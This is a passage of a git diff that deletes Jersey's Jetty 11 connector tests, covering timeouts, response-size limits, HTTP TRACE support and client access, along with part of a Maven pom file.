-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
deleted file mode 100644
index 32c71bb..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.net.URI;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * Default synchronous jetty client implementation has a hard response size limit of 2MiB.
- * When response is too big, a processing exception is thrown.
- * The original code path was left to preserve this behaviour but could be removed
- * and reworked in the future with a custom listener like async path.
- *
- * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB)
- * and very big payloads (>4MiB).
- *
- * @author cen1 (cen.is.imba at gmail.com)
- */
-public class SyncResponseSizeTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
-
-    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
-
-    @Path("/test")
-    public static class TimeoutResource {
-
-        private static final byte[] data = new byte[maxBufferSize];
-
-        static {
-            Byte b = "a".getBytes()[0];
-            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
-        }
-
-        @GET
-        @Path("/small")
-        public String getSmall() {
-            return "GET";
-        }
-
-        @GET
-        @Path("/big")
-        public String getBig() {
-            return new String(data);
-        }
-
-        @GET
-        @Path("/verybig")
-        public String getVeryBig() {
-            return new String(data) + "a";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testDefaultSmall() {
-        Response r = target("test/small").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDefaultTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/big").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            Response r = t.path("test/big").request().get();
-            String p = r.readEntity(String.class);
-            assertEquals(p.length(), maxBufferSize);
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/verybig").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
deleted file mode 100644
index cb8d0e2..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
+++ /dev/null
@@ -1,245 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.net.URI;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DefaultValue;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.QueryParam;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.StreamingOutput;
-
-import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-
-        /**
-         * Long-running streaming request
-         *
-         * @param count number of packets send
-         * @param pauseMillis pause between each packets
-         */
-        @GET
-        @Path("stream")
-        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
-                @QueryParam("pauseMillis") int pauseMillis) {
-            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
-
-            return Response.ok(streamingOutput)
-                    .build();
-        }
-    }
-
-    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
-
-        return output -> {
-            try {
-                TimeUnit.MILLISECONDS.sleep(startMillis);
-            }
-            catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
-            output.flush();
-            for (int i = 0; i < count; i++) {
-                try {
-                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
-                }
-                catch (InterruptedException e) {
-                    Thread.currentThread().interrupt();
-                }
-
-                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
-                output.flush();
-            }
-            output.write("end".getBytes(StandardCharsets.UTF_8));
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testTimeoutInRequest() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyConnectorProvider());
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
-            fail("Timeout expected.");
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2
-    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        final Response response = target("test")
-                .property(ClientProperties.READ_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-        assertTrue(response.readEntity(String.class).contains("end"));
-    }
-
-    @Test
-    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
-
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
-                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                .path("stream")
-                .queryParam("count", count)
-                .queryParam("pauseMillis", pauseMillis)
-                .request().get();
-
-            fail("This operation should trigger total timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-
-    /**
-     * Test accessing an operation that is streaming slowly
-     *
-     * @throws ProcessingException in case of a test error.
-     */
-    @Test
-    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
-
-        int start = 150;
-        int count = 5;
-        int pauseMillis = 50;
-
-        try {
-            target("test")
-                    .property(ClientProperties.READ_TIMEOUT, 100L)
-                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
-                    .path("stream")
-                    .queryParam("start", start)
-                    .queryParam("count", count)
-                    .queryParam("pauseMillis", pauseMillis)
-                    .request().get();
-            fail("This operation should trigger idle timeout");
-        } catch (ProcessingException e) {
-            assertEquals(TimeoutException.class, e.getCause().getClass());
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
deleted file mode 100644
index a7661cb..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.List;
-import java.util.Map;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.HttpMethod;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Request;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.process.Inflector;
-import org.glassfish.jersey.server.ContainerRequest;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.model.Resource;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-/**
- * This very basic resource showcases support of a HTTP TRACE method,
- * not directly supported by JAX-RS API.
- *
- * @author Marek Potociar
- */
-public class TraceSupportTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
-
-    /**
-     * Programmatic tracing root resource path.
-     */
-    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
-
-    /**
-     * Annotated class-based tracing root resource path.
-     */
-    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
-
-    @HttpMethod(TRACE.NAME)
-    @Target(ElementType.METHOD)
-    @Retention(RetentionPolicy.RUNTIME)
-    public @interface TRACE {
-        public static final String NAME = "TRACE";
-    }
-
-    @Path(ROOT_PATH_ANNOTATED)
-    public static class TracingResource {
-
-        @TRACE
-        @Produces("text/plain")
-        public String trace(Request request) {
-            return stringify((ContainerRequest) request);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TracingResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
-        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
-
-            @Override
-            public Response apply(ContainerRequestContext request) {
-                if (request == null) {
-                    return Response.noContent().build();
-                } else {
-                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
-                }
-            }
-        });
-
-        return config.registerResources(resourceBuilder.build());
-
-    }
-
-    private String[] expectedFragmentsProgrammatic = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
-    };
-    private String[] expectedFragmentsAnnotated = new String[]{
-            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
-    };
-
-    private WebTarget prepareTarget(String path) {
-        final WebTarget target = target();
-        target.register(LoggingFeature.class);
-        return target.path(path);
-    }
-
-    @Test
-    public void testProgrammaticApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsProgrammatic) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testAnnotatedApp() throws Exception {
-        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
-
-        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
-
-        String responseEntity = response.readEntity(String.class);
-        for (String expectedFragment : expectedFragmentsAnnotated) {
-            assertTrue(// toLowerCase - http header field names are case insensitive
-                    responseEntity.contains(expectedFragment),
-                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
-        }
-    }
-
-    @Test
-    public void testTraceWithEntity() throws Exception {
-        _testTraceWithEntity(false, false);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntity() throws Exception {
-        _testTraceWithEntity(true, false);
-    }
-
-    @Test
-    public void testTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(false, true);
-    }
-
-    @Test
-    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
-        _testTraceWithEntity(true, true);
-    }
-
-    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
-        try {
-            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
-            target = target.path(ROOT_PATH_ANNOTATED);
-
-            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
-
-            Response response;
-            if (!isAsync) {
-                response = target.request().method(TRACE.NAME, entity);
-            } else {
-                response = target.request().async().method(TRACE.NAME, entity).get();
-            }
-
-            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
-        } catch (Exception e) {
-            // OK
-        }
-    }
-
-    private Client getJettyClient() {
-        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
-    }
-
-
-    public static String stringify(ContainerRequest request) {
-        StringBuilder buffer = new StringBuilder();
-
-        printRequestLine(buffer, request);
-        printPrefixedHeaders(buffer, request.getHeaders());
-
-        if (request.hasEntity()) {
-            buffer.append(request.readEntity(String.class)).append("\n");
-        }
-
-        return buffer.toString();
-    }
-
-    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
-        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
-    }
-
-    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
-        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
-            List<String> val = e.getValue();
-            String header = e.getKey();
-
-            if (val.size() == 1) {
-                buffer.append(header).append(": ").append(val.get(0)).append("\n");
-            } else {
-                StringBuilder sb = new StringBuilder();
-                boolean add = false;
-                for (String s : val) {
-                    if (add) {
-                        sb.append(',');
-                    }
-                    add = true;
-                    sb.append(s);
-                }
-                buffer.append(header).append(": ").append(sb.toString()).append("\n");
-            }
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
deleted file mode 100644
index 7802e45..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-
-import org.glassfish.jersey.client.ClientConfig;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.junit.jupiter.api.Test;
-
-import static org.hamcrest.CoreMatchers.is;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertSame;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Test of access to the underlying HTTP client instance used by the connector.
- *
- * @author Marek Potociar
- */
-public class UnderlyingHttpClientAccessTest {
-
-    /**
-     * Verifier of JERSEY-2424 fix.
-     */
-    @Test
-    public void testHttpClientInstanceAccess() {
-        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
-        final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client);
-        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
-        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
-        // connector provider's static getHttpClient method above.
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
-
-        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
-        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
-        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
-                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
-    }
-
-    @Test
-    public void testGetProvidedClientInstance() {
-        final HttpClient httpClient = new HttpClient();
-        final ClientConfig clientConfig = new ClientConfig()
-                .connectorProvider(new JettyConnectorProvider())
-                .register(new JettyHttpClientSupplier(httpClient));
-        final Client client = ClientBuilder.newClient(clientConfig);
-        final WebTarget target = client.target("http://localhost/");
-        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
-
-        assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider",
-                httpClient, is(hcOnTarget));
-    }
-}
diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml
deleted file mode 100644
index 6b31e5c..0000000
--- a/connectors/jetty11-http2-connector/pom.xml
+++ /dev/null
@@ -1,187 +0,0 @@
-<?xml version="1.0"?>
-<!--
-
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-
-    <parent>
-        <groupId>org.glassfish.jersey.connectors</groupId>
-        <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
-    </parent>
-
-    <artifactId>jersey-jetty11-http2-connector</artifactId>
-    <packaging>jar</packaging>
-    <name>jersey-connectors-jetty11-http2</name>
-
-    <description>Jersey Client Transport via Jetty 11</description>
-
-    <properties>
-        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-    </properties>
-
-    <dependencyManagement>
-        <dependencies>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-util</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-alpn-conscrypt-server</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-client</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-            <dependency>
-                <groupId>org.eclipse.jetty.http2</groupId>
-                <artifactId>http2-http-client-transport</artifactId>
-                <version>${jetty11.version}</version>
-            </dependency>
-        </dependencies>
-    </dependencyManagement>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-client</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-client</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-http-client-transport</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-util</artifactId>
-            <version>${jetty11.version}</version>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-jetty11-connector</artifactId>
-            <version>${project.version}</version>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-jaxb</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty11-http2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>http2-server</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.media</groupId>
-            <artifactId>jersey-media-json-jackson</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
